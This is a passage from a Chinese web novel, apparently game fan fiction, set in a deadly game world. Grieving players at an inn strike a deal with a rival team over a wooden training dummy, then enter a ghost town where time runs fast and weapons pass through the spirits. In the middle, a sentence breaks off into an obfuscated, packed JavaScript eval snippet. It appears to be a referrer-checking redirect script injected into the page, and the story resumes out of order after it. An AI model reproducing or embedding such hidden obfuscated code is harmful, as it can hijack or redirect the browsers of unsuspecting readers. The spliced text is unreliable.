他知道这样的状态很不对,但是一时半会,却很难调整过来。 一阵掌声传来,却是孟秋又跳到前面来了,小圆脸笑得很灿烂:“哎呀,大家又到齐啦!恭喜你们幸运地度过了第二天哦!是不是发现,第二天比起第一天难了很多呢?” 和第一次进入客栈不同,她将“全员”这个词去掉了,最后那句话更是问得听者心里难受无比。 “客栈的规矩大家都明白,我就不再多说啦。”孟秋甜甜地说,“大家注意,这次的休息时间是二十四时辰,也就是两天,不要忘记哦。另外想必大家也已经发现了,无论选择什么时候出发,最后你们都会在差不多的时间回到客栈来的,所以就放心地留在客栈休息吧。” 说完这些,孟秋眼睛一转,跑到他们桌边,拽了拽叶九溪的衣角。 “刚刚又卖出去两只钟!糖呢糖呢?” 叶九溪还在望着大堂边缘的模糊区域出神,闻言有些勉强地笑了一下,拿出饴糖,分了两份给她。 这小姑娘对大人的情绪不是很敏感,或者说,她也并不在乎,拿到糖就开开心心地蹦着走了,还哼起了一只小曲儿。眼看NPC都走了,显然没什么信息要发布了,大多数玩家也站起身,陆陆续续地回到楼上,看起来都急需休息。 他们紧紧地盯着每一个上楼的人看,眼睛都看酸了,也没看到兰瑾,那个笑起来很爽朗很少年的花间。 “砰”的一声响,方叱羽吓了一跳,回过头,发现竟然是亓秀秀把她的双剑从背后取下来,扔在了桌子上,她的眼睛还是红着的,却不再流泪了。 “好过分。”亓秀秀一字一顿道,眼底还残留着几分悲怒,却又很茫然,不知道满腔的怨愤究竟该指向哪个源头,“那都是和我们一样的人啊……就这么莫名其妙地死在一场‘游戏’里……” “秀秀。”李千驰轻轻按了一下她的肩膀,但是终究也没说出什么话来。 一时间,气氛沉重到了极点。其实在绥梦山的时候他们的心里就已经压力很大了,只是看到队友都没事,那瞬间爆发出来的喜悦暂时将负面情绪掩盖过去了。现在回到了客栈,当时的绝望、恐惧与无能为力的愤恨又再次卷土重来。 这时候,一阵脚步声忽然传来。裴洛川转头看去,就发现是另一队玩家走了过来,站在他们桌前。 这一队为首的是一个长歌,儒冠青衣一丝不苟,表情沉静,看上去有种特别的气质,身边还站着一个笑容明快的小毒萝。诡谲面具遮住半张脸的唐门和戴着云幕遮的丐帮一左一右站在他们身后,而走在最后的是一个头戴雪河白箬笠的大师,大半张面容都被箬笠和灰黑的薄纱遮住。 丐帮侧过脸,耳朵微微一动,听到了通往二楼的楼梯上传来的对话声。 “这一队好有意思,五个人凑不出三张脸。” 谢不若试图和柳七刀咬耳朵,头上的黄鸡大笑却磕在了一起又马上弹开,把两人撞懵了一刹。 “提醒你一下,我们是五个人一张脸也没有。”仇非冷冷道,龙葵补充:“都被丢干净了。” “掉下去了!掉下去了!”谢不若的鹦鹉站在黄鸡头顶扑扇着翅膀,“剑纯一脚踩空楼梯掉下去了!” 于是黄鸡大笑们又赶紧回去捞人。 楼梯上的闹剧并没有影响到这边,方叱羽出声问道:“有事么?” 来者正是付井仪一队,小毒萝曲小蕨笑嘻嘻地往他们桌子上放了两个东西。 裴洛川一看,那正是他做的香篆钟,男款女款各一。 几人脑海中就缓缓浮现出一个想法:送……送钟? 裴洛川更是不解,当初为了混淆制作者身份,他还特地将它们的花纹做成了唐门和五毒的门派图标形状,怎么会有人拿着这个找上门来…… 他又看了看眼前的这支队伍,有点昏沉的大脑像被人敲了一下,立刻清醒过来了,心里有点崩溃。 淦,怎么真的有队伍又有唐门又有五毒啊! 其他人显然也发现了这个问题,本来死气沉沉的氛围中顿时掺杂进了一丝心虚,大家不约而同,开始祈祷他们并不知道真正的制作者是谁,结果曲小蕨一开口就让他们的希望落空了: “漂亮花哥,能不能请你来给我们解释一下,这只钟上的花纹是什么意思呀?” 叶九溪和裴洛川对视了一眼。这支队伍带着香篆钟直直地找过来,显然已经确定了这钟是他们队做的,但他们又是怎么知道的?难道孟秋说漏嘴了? 裴洛川决定装傻:“什么意思?我觉得这钟很好啊。男款设计采用了蜀中唐门的特殊纹路,风谲云诡、变幻多端,有一种神秘莫测的气势,女款苗疆五毒的花纹也很好看,空灵自然,绮美绝伦,一看就很适合小妹妹你收藏。” 曲小蕨听呆了,唐逐星却将脸扭到一边,冰冷的面具下是一张在努力憋笑的脸。 这花间刚刚还一脸丧气,现在就能一本正经地在这忽悠人,真是好能胡扯。 “刚刚有队伍根据图案找到我们,怀疑是我们队制作了香篆钟,在赵云睿那里寄售。”他笑完了,一本正经地说,“这锅我们背得不明不白,怎么办啊?” 付井仪却微微摇了摇头,抬手止住了他:“我看你们状态也不好,就直说了。其他人对我们队的误会无所谓,这次来,是想和你们谈一笔生意。” “什么生意?”叶九溪警惕道。 “你们花间应该有制作方面的天赋吧。”付井仪说,“我想请你们帮忙做一样东西。” 他也不卖关子,直截了当道:“一个木人,标准按照少室山的木人阵来。” 木人? 方叱羽迷茫发问:“做这个东西干什么?” 眼看一时半会说不完,行守已经默默从另一边桌旁搬来几张长凳,几人凑了一桌坐下说。付井仪便道:“给我们的丐帮用。对于他来说,有些技能是可以自行领悟的。” 自行领悟技能? 这句话让方叱羽心里一惊,他本来想说你开玩笑吧,结果就看到曲小蕨猛拽付井仪的袖子:“哎呀!这是可以说的嘛!” 付井仪被她拽得有点无奈:“这无所谓,随着时间推移,肯定会有其他人逐渐发现的。” 看众人都有些惊讶,他也不保留,就细细地给他们讲起来:“你们大概也发现了,在浪客行中,我们能做出的攻击并不限于门派技能。比如藏剑的重剑,即使平a红名怪物也可以造成致命的伤害。所以,对于丐帮这样的全动作打击类门派来说,自己按照游戏套路打出来的降龙掌法或者打狗棒法,也仅仅是比兑换的技能少一些效果和控制,但伤害却依然很可观。” 他顿了顿,确定几人都听清了,才继续往下说:“像横打双獒和拨狗朝天这样的技能,除了回蓝之外没有任何特殊作用,而只要是用打狗棒法打出来的招式都可以回蓝,所以这些就是可以自行领悟的技能了,没必要再去浪费玉签。事实上,我们在第二天里已经做过了实验,这个结论极大可能是成立的,只是玩家自己究竟能领悟到什么程度,还需要进一步的测试。” 叶九溪心里一动,就问:“是只有带ACT的门派才能这样么? ” “并不是。对于其他的外功门派来说,效果可能不如ACT门派好,但也不是说完全就没有可能。”付井仪回答道,“我举一个例子,假如你能在五秒钟之内手持重剑转满十六圈,那么从理论上来说,你就已经学会了风来吴山。” 他话里透露出来的内容太让人震惊了,但看付井仪的态度,又莫名地很令人信服。 “我们是很有诚意的,真的。”曲小蕨说,“怎么样呀,要合作吗?” 裴洛川有些犹豫:“但我不太清楚木人该怎么做,只能试试。” “四百玉签。”付井仪眼都不眨一下,“行守大师会和你一起完成它,希望第三天回来能交货。” “成交。”叶九溪立刻代替裴洛川发言。 “行吧。”裴洛川无奈道,又问,“但我还是很好奇,你们是怎么确定,这钟是我们队伍做出来的呢?” 唐逐星冲他一笑:“想想唐门的本职。” “……那我还真有一件事想拜托你们。”叶九溪听他这么说,心念一动,正色道,“帮我们找一个人,他叫兰瑾,是个花间,穿的应该是驰冥校服。我想知道,他们的队伍有没有回到客栈。” 李千驰本来就蔫蔫的没什么精神,也听不进去这些弯弯绕,听到叶九溪这么说,就慢慢坐直了身体,盯着他们看。 “可以是可以,但我需要知道你们找人的目的。”唐逐星拍了拍腰间的千机匣,轻笑道,“私人仇怨,那就恕不奉陪。” 叶九溪沉默一瞬,简单地将绥梦山里的事情挑重点给他们讲了讲。旧事重提,谁心里也不好受,是以众人都没注意到,从下楼起就一直没吱声、认真充当背景板的尹有攸听到“兰瑾”这个名字,转过头似乎有话想说。 付井仪看了他一眼,曲小蕨藏在身后的手立刻拉了拉尹有攸的衣摆。 “兰瑾是么?那就这么说定了,有消息我会告诉你。” 付井仪道,干脆利落地起身告辞,又对行守说:“大师,就劳你和裴洛川多费神了。” “好。”行守点点头,看着队友们陆陆续续地上了楼。他虽然是玩家,但看上去也确实很有大师的风范,单手竖于胸前,白箬笠下露出的半张脸带着淡淡的微笑,竟有些悲天悯人的味道。 “那我们也就先回去了,裴洛川你悠着点,不急在这一时。”方叱羽也起身道,又有些担忧地叫了格外沉默的亓秀秀一声,“秀秀,先上楼吧。” “嗯。”亓秀秀无精打采地应了一声,伸手去拿桌子上的双剑。 “风雪关河,是一对好剑啊。”行守忽然说。 大橙武同模而已,亓秀秀看了它一眼,恹恹道:“谢谢。” 她把剑背回身上,刚要离去,却听见行守在背后问她:“你在游戏里时,读过风雪关河的介绍么?” 亓秀秀停住脚步,摇了摇头,她一向不是很关注这些剧情方面的东西。 “至德元年战火四起,荀鸢在平原郡救助孤女时失去了随身所配双剑,南下途经金水时,在酒肆中偶遇一位红衣妇人,那红衣妇人便以风雪关河赠她。”行守慢慢地说,“直至问询过叶芷青后,荀鸢才知道,赠剑之人正是公孙二娘。” 说到这里,他垂首合掌,轻轻道:“随剑还有信笺一张,上书唯十二字而已。 “——剑纵折器为锋,世如沼赤心重。” 若前路风雪阻塞,我当为关河桥梁。 和裴洛川敲定了细节之后,行守移步回房。 他刚走到门口,就听到曲小蕨的声音:“奇穴又不能单独换,你卡秋风也没用呀。” 唐逐星则回答道:“你个瓜娃子懂啥子哦,秋风那是刻进灵魂的,需要换迈?” 曲小蕨:“你你你——你还换了新武器拓印?!” 唐逐星:“对我的98K尊重一点。” 曲小蕨:“付井仪!他浪费玉签!” 付井仪:“那是他自己的玉签。” 曲小蕨:“可是你都不让我换!” 付井仪:“唐逐星是完全民事行为能力人,你是限制民事行为能力人,你们能比么?” 曲小蕨不吱声了。 行守在外面听得好笑,刚要开门,尹有攸便从里面把门给他打开了,显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对,就是我们刚回客栈,要去签队伍名字的时候。”尹有攸说,“我听到赵云睿那边有一队人在说话,他们的队名好像叫‘桃源花毒明霸刀队’,还有人在叫队友‘兰瑾’。” “那也就是说他没事?”曲小蕨开心道,“好消息呀!快去告诉天策藏剑他们!” 付井仪脸上却不见喜色,他追问道:“你确定听到的是‘兰瑾’?” “为什么这么问?”尹有攸云幕遮下的脸露出几分迷茫,“你也知道我不可能听错。” “那就奇怪了。”付井仪沉声道,“去签字时赵云睿明明说过我们是第一支回到客栈的队伍,他们的队伍怎么可能在我们前面?” “什么意思呀。”曲小蕨倒吸一口凉气,“他们难道……是鬼魂?” 付井仪慢慢地摇了摇头。 “我倒是有一个想法。不知道你们有没有注意到,第一天通关后,蒋玉凤给我们提供了一个功能,叫管理小队。而管理小队,又分为重命名与人员重组。”他说,“按照每一天逐渐递增的强度和难度,玩家们的队伍很可能会出现减员的情况,人员重组这个功能应该就是为人数不满五人的队伍所准备的,但还存在着一个问题,新入队的队员从哪里来?怎么平衡人数?而且这客栈里还有天数各不相同的老玩家,这些老玩家显然更难得到队员的补充——” “停停停。”唐逐星听得头大,打了个暂停手势,“你可以直接说结论吗?” “算了。”付井仪却欲言又止,“没有把握,我不想下结论。” “你又开始了!不行!”曲小蕨怒道,“你这样说话说一半我们怎么睡得着啊!” 付井仪环顾一圈,发现队友都眼巴巴地等着,叹了口气。 他感觉自从分到这一队开始,自己就在不停地叹气。 “好吧,但也只是推测。”他妥协道,“我怀疑在通关过程中死去的玩家不会彻底消失,而是会以另外一种形态继续回到浪客行。” “什么形态?”曲小蕨瞪大了眼睛。 付井仪薄唇轻启,无声地说了几个字,但大家都看懂了,一时间陷入了沉默。 尹有攸:感觉自己被针对。 “那怎么办?”唐逐星走到木桩旁,尖锐的铁质手甲握住箭杆,一把拔出几乎钉穿了木桩的弩箭,“还要告诉他们么?” “……说吧。”曲小蕨闷闷地说,“如果是我,我会很想知道的。” 行守也微微颔首表示符合。 “的确,无论如何,他们是该知情的。”付井仪微微点头,又说,“还有一件事……” 他把玩家和角色逐渐趋同的事情说了出来,但是队友们都没什么太大的反应,唯一惴惴不安的是曲小蕨:“坏了,尹有攸不会变成那种打奶狂魔吧,我不能接受!” “你现在是毒经,怕什么。”唐逐星说,熟练地下了个盘子去卡秋风了。 “……” 付井仪再一次叹了口气。 晚饭后,蓬莱哪里得罪你们了为什么要被分到这一队的房间门被敲响了。叶九溪打开门,第一眼没看到人,低头才发现原来是孟秋站在门口。 他条件反射般的拿出糖来,但孟秋却摆了摆手。 “我是来带话的。”她笑吟吟地说,“‘谜语人离开浪客行’队让我来告诉你,你们要找的人就在客栈里。” “什么?”在床上放空的李千驰一个鲤鱼打挺跳了下来。 孟秋眨眨眼,继续说:“‘但不确定他是不是你们要找的那个人。’这是原话哦。” 她把话带到就走了,留下一屋人面面相觑。 “你要找的人就在客栈里,但不确定他是不是你们要找的那个人。”正拿着千叶长生削木头的裴洛川咀嚼着这句话,迷惑道,“这说得通吗?前后根本就是矛盾的啊。” “也许是有同名同姓的人?”方叱羽猜测,“反正后面也会和他们那个行守大师再见面,问问看好了。” 他看了看叶九溪,发现他眉宇间的沉重显然散去了很多,人都是这样,有了期待,精神气就足了。 回头再看李千驰,这家伙已经围着不大的外间跑了好几圈了,整个人炫出残影。 正当他以为李千驰一时半会儿停不下来的时候,亓秀秀一把拍开内屋的门走了出来,伸手一拽,精准地提住了李千驰的银甲竖领:“狗子别跑了!这么有精力,不如陪我对练一会儿。” “对练?” 李千驰迷茫反问。 亓秀秀从背后利落地拔出风雪关河:“练剑!” 13. 第三天·荒魂镇(十三) 两天时间说短不短,说长不长,一晃而过。 这期间,除了下楼吃饭,谜语人离开浪客行队几乎没出房门,倒是行守又去找过裴洛川几次、敲定木人的细节,回来之后说,那一队人看起来挺有精神的,应该是已经走出了第二天的阴霾。 “听说好像是叶九溪在走廊里看见兰瑾了。”他对众人说,“虽然就一打眼,也没追上,但知道他还活着,他们也就能放心了。” 马上就要进入第三天了,大家都在各自做准备。尹有攸躺在床上补觉,曲小蕨抱着玉蟾交流感情,唐逐星在擦拭他的98K,而付井仪正在看他们贴在房门背后的一张金花笺,那也是从赵云睿那里换来的,纸上被他用工整的小楷写了一排字。 湘竹溪 漓水雾荧洞绥梦山古祭坛荒魂镇枫阳村浮景峰阴风峡华清宫苍离岛荒雪路悬棺裂谷桑珠草原翡翠瑶池胡杨林道 有间客栈东水寨落樱林 这是他根据记忆总结出来的浪客行的所有地图,其中,湘竹溪和古祭坛下面被划了一条横线。 行守也在看那张纸,看到绥梦山的时候,不禁说:“听他们的描述,这地图的难度有些高啊,起码比我们随机到的古祭坛高多了。” “也未必。一开始他们在遭到蜘蛛袭击之后的状态其实还好,真正的混乱是从产生了群攻误伤开始的。如果不是队伍之间的冲突,他们也不会那么容易地被蜘蛛冲散、再撞上陷阱,被拉入幻境。”付井仪说,“在清醒状态下不难想到以驱散技能来对抗毒性,那些毒物在状态良好且团结一致的玩家面前也不足为惧。” 他有些出神地看着绥梦山这三个字,轻声道:“我在想的是,这张地图对于驱散技能的硬性要求是偶然的吗?” “等等等等,怎么又来!”曲小蕨被他说得头都大了,“不要搞这种谜语人行为,你要是有想法就直接说出来好不好!” 付井仪无奈,指尖轻轻点了点那张被贴在门上的纸:“我们的第二天是古祭坛这张地图,过得也不算轻松,最后连娜迪亚这个boss都没有打、拖延到时间结束就回来了,是为什么?” “因为除了行守之外,我们的精神状态都很差。”唐逐星收了弩,也走过来,“那些阿里曼祭司简直一个个都魔怔了,到后面我一听她们念叨那些魔性的台词脑袋就嗡嗡地响,像是被洗脑了,根本没法静下心来瞄准。” “对。”付井仪说,“结合蓬莱……” 三双眼睛充满期待地盯着他,等他念出那个队名。 付井仪面不改色:“……结合蓬莱队的说法,也许我们当时也受到了持续不利伤害的影响,也就是在几乎没有察觉的情况下被挂上了dot,所以,如果我们有驱散技能的话,这一关可能还会过得更容易。两张不同的地图都需要驱散技能,你们觉得这是巧合吗?” 曲小蕨一愣,脱口而出:“这难道是游戏的要求?隐藏规则?” “隐藏规则倒不至于,我觉得很有可能是一种提示。”付井仪道,“在经历了湘竹溪那样的尸潮之后,大多数玩家应该会优先选择攻击类技能,但越往后的天数越难,单凭攻击类技能肯定不能轻松过关,现在有了第二天的经历,玩家们应该也会重视辅助、生存和防御类的技能了。当然,也有人在第一天结束后就换了辅助技能,比如他们队的裴洛川和方叱羽……” 说到这里,他忽然露出了若有所思的神情,不再继续说下去了。 曲小蕨没注意到,还在感叹:“换了就用得上了,他们运气真好。” 唐逐星轻笑一声,拍了拍她的头:“世界上没有绝对的公平,运气一直以来就是游戏的一部分。” “依你看,第三天需要哪些技能呢?”行守问付井仪。 “不确定,但如果要我来猜的话,我会猜位移技能。”付井仪淡淡道,“第二天不是解锁了江湖轻功么?” “太好了,门派轻功我们都有了。”曲小蕨笑嘻嘻的,“真应该好好感谢试图打劫我们的那一队,不然玉签还不够用呢,也不知道他们最后通关了没。” “娜迪亚最后来追我们了,其他人只要不傻都会趁机去营地。”唐逐星轻嗤一声。 他们谈话间,看看时间差不多,就也准备下楼找蒋玉凤出发了。 曲小蕨走在第一个,行守和唐逐星紧随其后。付井仪转头,便看到尹有攸已经坐起来了,在床上发呆,也不知道眼睛是睁着还是闭着,看起来很像是在等开机缓冲时间。 “该走了。”付井仪说。 尹有攸脑后高高扎起的一束黑发被他睡得乱蓬蓬的,他伸手胡乱捋了两把,忽然问:“你刚刚还想说什么?” 都说笨蛋的直觉比较敏锐,果然是有道理的。 付井仪道:“我在想,我是不是把因果关系搞反了。” 他站在门口等尹有攸出来,关上门,两人一并往外走去。 知道尹有攸基本上会左耳朵进右耳朵出,付井仪便也很随意地就讲出了自己的猜测:“玩家第二天被分配的地图,很有可能是按照技能来分的,比如蓬莱队有三个驱散,就会被分配到对驱散要求很高的绥梦山,而我们当时还没有驱,就被分到了没有驱也勉强能通关的古祭坛。” 尹有攸试图以自己的方式理解:“那蓬莱没有得罪任何人队也有很多位移,我们今天可能会匹配到他们。” “倒不是这个意思,队伍数量肯定是完全随机的,不然只需要两队约好兑换同样类型的技能,就可以一直匹配到一起了,这个漏洞,浪客行肯定不会让玩家钻的。”付井仪说,“去掉三个奖励关卡,浪客行有十六张地图,四个势力的红名NPC和野兽、毒物、鬼魂等小怪,随机组合一下就足够用了,有些队伍甚至很有可能永远也不会被匹配到一起。” “哦。”尹有攸跳过分析只听结论,“那就无所谓了。” “也不是完全无所谓,所有的游戏,最后都会有一个将众人汇集到一起的结局……算了,可分析的线索太少,我也想不明白。”看着站在蒋玉凤面前向他们招手的曲小蕨,付井仪摇头放弃思考,“先进第三天吧。” “好。”尹有攸说,真就不再提这件事了。 这就是付井仪喜欢找他说话的原因:听人说话不过大脑,说算了就算了,完全没有好奇心和求知欲,堪称人形树洞。 “来来来,下注啦!”人到齐了,曲小蕨清清嗓子,“猜猜我们去哪张图?” 行守摸了摸她的脑袋:“未成年人不要搞这种东西。” 不用猜测,蒋玉凤确认过他们的队伍过后,便微笑着开口了。 “休息好了吗?那我来为你们开启下一段旅程。这是你们的第三天,欢迎来到荒魂镇。” 新鬼号哭,旧魄哀叹。 荒村野坟,无人招魂。 一阵短暂的晕眩后,再睁开眼,面前已经不是客栈了。 曲小蕨有些紧张,已经提前做好了看到一个鬼气森森的荒村的心理准备,但等她看清楚面前的情景,不由自主地“咦”了一声。 不光是她,所有人都愣住了。 一条平整的青石道从脚下延伸开来,他们面前赫然是一个热热闹闹的小村镇,灰瓦白墙的屋舍鳞次栉比,街头巷尾作镇民打扮的NPC来往不绝,很有种《桃花源记》里描述的“阡陌交通,鸡犬相闻”的感觉。 “这是荒魂镇?”唐逐星皱起眉,“荒魂镇不应该是满天飘纸钱的那个黑夜地图么?” 曲小蕨掏出香篆钟点上,行守则转身向他们身后伸出手。 很快,手指似乎就碰到了一面无形的墙,不能再前进半分。 他收回手:“有空气墙,看来把我们的活动范围控制在这个小镇里了。” “走吧。”付井仪率先迈开脚步,“先进去看看情况。” 他们一迈进镇子,立刻就吸引了镇民们的注意力。这里的镇民打扮均是唐朝时期的农家装束,中规中矩,男着圆领小袖衫,女着襦袄罗裙。和他们比起来,各门派的校服完全可以称之为奇装异服,但看这些镇民的关注点,显然不在他们的衣服上。 “呀,来客人了!” 镇民们露出欣喜的表情,一拥而上,将他们围在中间,也不问他们从哪儿来的,七嘴八舌地说个不停。 “真是来得早不如来得巧,今天是我们镇大喜的日子,可一定要留下来吃顿饭啊。” “我看你们风尘仆仆,就在我们这里歇一晚再走吧。” 还有妇人看着曲小蕨掩嘴而笑:“这小娃娃长得可太水灵了,看着就讨人喜欢。” “怎么回事啊?”曲小蕨被念叨得晕头转向,赶紧藏到行守身后,于是镇民们立刻转换目标:“大师,去我家用碗斋饭吧!” “多谢各位施主,但贫僧见现在日头还高,不急斋饭。”行守双掌合十,已经入戏。 付井仪打断他们的热情叙话:“各位乡亲,我们远道而来,不知这是什么地方、贵镇又有何喜事?” 听到他这么发问了,人群里便走出一个白髯老者来,这位老者慈眉善目,戴着幞头,白袍黑带,拄着一根手杖。他的地位在这镇子上似乎很高,周围的镇民纷纷给他让出一条路来。 “原来是他乡贵客。”老者微笑着说,“小镇名叫红河渡,午时镇上要摆流水席,诸位可别错过了。” 至于喜事是什么,他却没说,只是捋了捋胡须,给众人指了镇上客栈酒馆的位置,便挥挥手,让热情的镇民各自散去,自己也拄着手杖慢悠悠地走了。 “红河渡?” 曲小蕨疑惑:“剑三里面没有这个地名吧,我只听说过河阳之战和西津渡。” “别被他带跑了,什么黄河渡红河渡,这里明明是荒魂镇。”唐逐星说,又问尹有攸,“你听到什么有用信息了么?” “没有。”尹有攸轻轻摇头,“他们谈论的都是中午的菜品和酒品,譬如女儿红、葡萄酒、汾酒、状元红——” 唐逐星赶紧抬手:“停停停,这些酒名你记得倒清楚。” 这镇子看着还挺大,他们得走了百八十米才走到客栈。一路上也遇到了不少镇民,但这些NPC通通都是绿名,非常友好,这红河渡看着就是一个民风淳朴的小镇,一点也不见浪客行地图该有的氛围。 只是刚要迈进客栈,付井仪却道:“等一下。” 他破天荒地露出了有些迷惘的表情:“我们没钱。” 四人如遭雷击,齐齐地呆在了客栈门口。 确实没钱! 谁想得到在这浪客行里还会出现一个这么富有生活气息的小镇啊! “诶几位客官,愣着干嘛,往里走哇。”那大堂小二看见他们在门口站住了,疑惑地招呼道,“打尖还是住店呀。” 曲小蕨干巴巴地笑了两声,赶紧推着众人走了:“路过,路过。” “好奇怪啊,这感觉。”离开客栈走在路上,唐逐星啧了一声,“之前两天都是在野外摸爬滚打,现在怎么忽然有一种回到了文明社会的感觉,还有些无所适从。” “左右不过是一天时间,即使不住客栈也能够对付过去。”行守道,“只是还搞不明白,这红河渡到底与荒魂镇有什么关系。” “有水声。”尹有攸侧耳细听一阵,忽然说,“好像有条河横跨了整个小镇,肯定有桥,不如我们找个桥洞住下吧。” 丐帮的提议被全票否决。 他们正说着话,忽然看见街道两边民居都打开了门,小镇上方一瞬间炊烟袅袅,镇民忙忙碌碌,开始往街上搬桌子,络绎不绝的菜品也被他们迅速地端上了桌,顿时,饭菜香气萦绕了整个小镇。 “他们的流水席要开始了。”曲小蕨看着,突然一怔,抬头看了看天色,“不对啊。” 她从小队背包里拿出香篆钟,只见那钟只燃烧了短短的一小截。 “刚刚那个老人不是请咱们午时去吃流水席吗?我点燃香的时候也才不过辰时,怎么可能这么快就准备好了?” 行守微微一愣,将白箬笠抬起一点,也看向天空。 骄阳如火,日正当午。 他们还没反应过来这意味着什么,就看见镇民们已经坐在流水席上吃喝起来,还有人招呼他们:“客人们,一起来吃啊!” “吃过了!”曲小蕨也吆喝回去。 唐逐星眼力最好,他定睛一看,那些镇民的动作虽然很正常,但是桌上的菜肴却飞速减少着,就好像以多倍速快进了一样。再看太阳,竟然已经不如方才那样热烈灼眼。 “这里时间流速不对。”付井仪道,“曲小蕨,看好时间。” “好嘞!”曲小蕨朝他敬礼。 付井仪又问:“唐逐星,你看前面,是不是有块牌坊?” 唐逐星望向他说的方向,果然隐约看到一块高大牌坊的轮廓,想来那里才是真正的小镇入口,而他们进入的只不过是一条小道。 “是镇子入口,去看看。”他立即道。 就这么一会儿工夫,太阳竟然又西斜三分。流水席早已经撤了,镇民们说笑着,有耕作完的人提着锄头归家,看起来就像是小镇日暮的寻常景象,但此时距离他们进入第三天还不过一个小时。 这个表面上看起来祥和安宁的镇子似是终于隐隐露出了獠牙。 等他们跑到那镇子入口处时,太阳已然落山,天边弥漫着血一样的火烧云,看起来让人心里沉重,隐隐有种不祥的预感。 “没字。”唐逐星向牌坊顶端望去,沉声道。 那牌坊顶端是一片空白。 曲小蕨忽然叫道:“等一下,这里有字。” 她指的是牌坊最底部两侧,各有一行石刻小字,模模糊糊,在逐渐暗淡的光线里很难看清,也就是曲小蕨是萝莉体型,个头不高,反而能注意到。 “左边刻着‘红河之中’,右边刻着‘酒肆西东’。”她摸上去,感受着凹凸不平的纹路,念道。 与此同时,镇上忽然响起刺耳的尖叫声,有人大喊道:“死人了!死人了!王老汉一家四口都死在家里了!” 本来宁静的小镇就像烧开了水一样,沸腾起来,人的尖叫声、哭声和刺耳的犬吠交织在一起,混乱不堪。 但听到这尖叫声,几人都没惊慌,心里有一种“终于来了”的感觉,变得踏实了些许,反而是之前那一派祥和的气氛才令人不安。 接着,就在一刹那之间,天色便暗了下去,宛如一只巨手以迅雷不及掩耳之势将落日从天幕上攫走了。众人眼前一黑的同时,耳边却突兀地安静了下去,那些慌乱的人声犬吠竟然齐齐消失,而整个红河渡已经成了一片结满蛛网的断壁残垣,四处可见野坟荒棺,老树枯枝鬼火点点,天上安静地飘落着一片片纸钱。 那些镇民也全都不见了。 唐逐星挑眉,唐门在黑暗中目力反而更好,他一字一顿,念出那牌坊上突然浮现的字迹:“荒魂镇。” “这些字也变了!”曲小蕨叫起来。 她凑近了仔细辨别,读道:“落花流水,白云绕槐。……这是什么意思?” “字面意思。” 付井仪也在仰头看那牌坊,他淡淡道:“落花流水是‘荒’,白云绕槐为‘魂’。” “原来是字谜。”行守颔首,“那‘红河之中,酒肆西东’想必也该如此解读了。” “红河之中是‘江’,酒肆西东……是‘津’?”曲小蕨眼睛一转,“江津……江津……怎么这么耳熟呢?” “洛道,江津村。”行守了然。 “那些镇民的装扮都更像早唐时候,我想,红河渡这个镇子可能就是江津村的前身。”付井仪说,“看这里断瓦颓垣、萧条破败,也有几分像李渡鬼域,江津村与李渡城本来就隔河相望,说不定之前本就是一个小镇。” 曲小蕨皱起眉头:“洛道那都是些老剧情了,我就记得村民曾经被红衣教掳走炼成毒尸……嘶,怎么又是红衣教。难道我们这次要遇上的怪也是红衣教?” “不是。” 唐逐星冷冷道,已经端起螭首千机,箭镞对准了黑暗深处。随着他的动作,一种危险的感觉从那片黑暗中传了出来,好像有什么东西正在接近。 不等那黑暗中的东西出现,千机弩的机括咯咯作响,刹那间,一枚寒光闪烁的弩箭便已向黑暗中急射而去,但它就好像泥牛入海一样,毫无声息地隐入了黑暗之中。 一击不中,唐逐星却并不惊讶,反而有种果然如此的感觉:“鬼。” “你是在说四川话还是什么?”曲小蕨问,被唐逐星在脑袋上拍了一下:“我说那玩意儿是鬼!” 仿佛是在应和唐逐星的话一样,那片黑暗里,真的幽幽浮现出了一个身影,飘飘荡荡,慢慢地朝着他们的方向来了,一路向外飘洒着磷火绿白色的细小光点。 随着那东西缓慢靠近,一种难以言喻的恐怖气氛也散播开来。 这恐怖氛围来得就很怪异,他们经过了湘竹溪和古祭坛,早已磨练出了远超普通人的胆量,又加上有唐逐星提前预警,按理说心态应该不会有什么太大的起伏,但看到那鬼影出现的刹那,几个人竟然心头都涌上了一种想要后退的冲动。 那是一种直觉,仿佛身体在疯狂地警告他们:远离!快点远离! 唐逐星最不信邪,抬手又是一只弩箭射了过去。在黑夜中他的准头更好,这次众人都看得清清楚楚,那弩箭如流星一般势不可挡,却直直地穿过了鬼影的身体,钉在了它身后的破墙上,震下簌簌土灰。 “老子真是闯到鬼咯!”唐逐星骂了一句。 “用技能试试。”付井仪忽然道,“我记得你有孔雀翎,对它用一下!” 那鬼影看着慢悠悠的,速度可一点都不慢。唐逐星察觉到它的时候,它离众人尚有很远,只是一片模糊不清的灰白色,但现在再看去,随着距离的接近,轮廓已经非常清晰。 那是一个看着有五六十岁的老人,表情狰狞而痛苦,两只眼球向外突出,蒙着一层阴沉的白翳,双脚脚尖点着地往前飘行,最恐怖的是他的鼻子和嘴角都汩汩地流淌着污血,胸前的粗布衣服也被染得血迹斑斑。 下一秒,一枚泛着金属光泽的翠绿箭翎已经穿透了那老人的胸膛,它并没有像其他弩箭一样穿透过去,而是奇异地在老人半透明的身体中停顿了一瞬,散发出孔雀尾羽绽放般的幻光。 唐逐星放下手,螭首千机垂在身侧,半边铁质面具后锐利的眼神紧紧地盯着那个老人。 一秒……两秒…… “起作用了。”他沉声道,“但效果不算明显,只能稍微减速。” 付井仪手腕一翻,青玉流已经端在了手中。他抬手拨弦,锵锵两声,徵音铮鸣有如剑气,两道劲风朝老人飞去,却是半点都没有停顿地穿过了他的身体。 “攻击技能没用?”曲小蕨惊声道,“这是什么鬼啊,只能控不能打?” 那老人鬼已经近在咫尺,随着他的靠近,一股冰冷的寒意也弥漫开来。这寒意有如实质,好像无数细密的尖利锥子在拼命往骨缝里钻,是实打实的寒冷刺骨了,在这样的低温中,他们的动作瞬间就变得僵硬起来,呼吸时甚至能看见自己吐出的一团团白雾。 眼看老人鬼到了眼前,尹有攸与行守一人使棒法,一人使棍法,霜月明与燃木一左一右朝他挥击而去。只见霜月明也空空穿过了那老人的头颅,但燃木却是将他打了个正着,老人鬼的动作顿时停在了原地。 